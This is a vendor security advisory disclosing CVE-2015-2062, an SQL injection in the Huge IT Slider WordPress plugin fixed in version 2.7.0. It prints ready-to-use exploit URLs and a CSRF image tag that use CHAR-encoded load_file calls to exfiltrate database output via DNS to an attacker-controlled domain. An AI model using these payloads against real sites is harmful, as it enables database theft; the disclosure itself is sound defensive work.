SQL Injection in Huge IT Slider WordPress Plugin

Advisory ID:	HTB23250
Product:	Huge IT Slider WordPress Plugin
Vendor:	Huge-IT
Vulnerable Versions:	2.6.8 and probably prior
Tested Version:	2.6.8
Advisory Publication:	February 19, 2015 [without technical details]
Vendor Notification:	February 19, 2015
Vendor Fix:	March 11, 2015
Public Disclosure:	March 12, 2015
Latest Update:	March 11, 2015
Vulnerability Type:	SQL Injection [CWE-89]
CVE Reference:	CVE-2015-2062
Risk Level:	Medium

CVSSv2 Base Score:	6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status:	Fixed by Vendor
Discovered and Provided:	High-Tech Bridge Security Research Lab
Advisory Details:
High-Tech Bridge Security Research Lab discovered an SQL injection vulnerability in Huge IT Slider WordPress Plugin. This vulnerability can be exploited by website administrators as well as anonymous attackers to inject and execute arbitrary SQL queries within the application’s database. 1) SQL injection in Huge IT Slider WordPress plugin: CVE-2015-2062 The vulnerability exists due to insufficient filtration of input data passed via the "removeslide" HTTP GET parameter to "/wp-admin/admin.php" script when "task" parameter is set to "popup_posts" or "edit_cat". A remote authenticated attacker with administrative privileges can execute arbitrary SQL queries within the application’s database. Below are two simple exploit codes that are based on DNS Exfiltration technique. They can be used if the database of the vulnerable application is hosted on a Windows system. The codes will send a DNS request requesting IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker). 1. Exploit example for "task=popup_posts": http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_post s&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- 2. Exploit example for "task=edit_cat": http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=edit_cat&i d=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- This vulnerability can be also exploited remotely by non-authenticated attackers using CSRF vector, since the web application is also prone to Cross-Site Request Forgery attacks. The attacker could use the following exploit code against authenticated website administrator to determine version of installed MySQL server: <img src="http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup _posts&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) --">
How to Detect SQL Injection Vulnerabilities Website Security Test GDPR & PCI DSS Test Website CMS Security Test CSP & HTTP Headers Check WordPress & Drupal Scanning Try For Free Solution:
Update to Huge IT Slider 2.7.0 More Information: https://wordpress.org/support/topic/huge-it-slider-security-vulnerability-notification-sql-injection

References:
[1] High-Tech Bridge Advisory HTB23250 - https://www.immuniweb.com/advisory/HTB23250 - SQL Injection in Huge IT Slider WordPress Plugin. [2] Huge IT Slider WordPress Plugin - http://huge-it.com/ - Huge IT slider is a convenient tool for organizing the images represented on your website into sliders. Each product on the slider is assigned with a relevant slider, which makes it easier for the customers to search and identify the needed images within the slider. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing. [6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Previous Security Advisories with CWE-89:

HTB23248: Multiple Vulnerabilities in my little forum

HTB23243: Multiple vulnerabilities in MantisBT

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.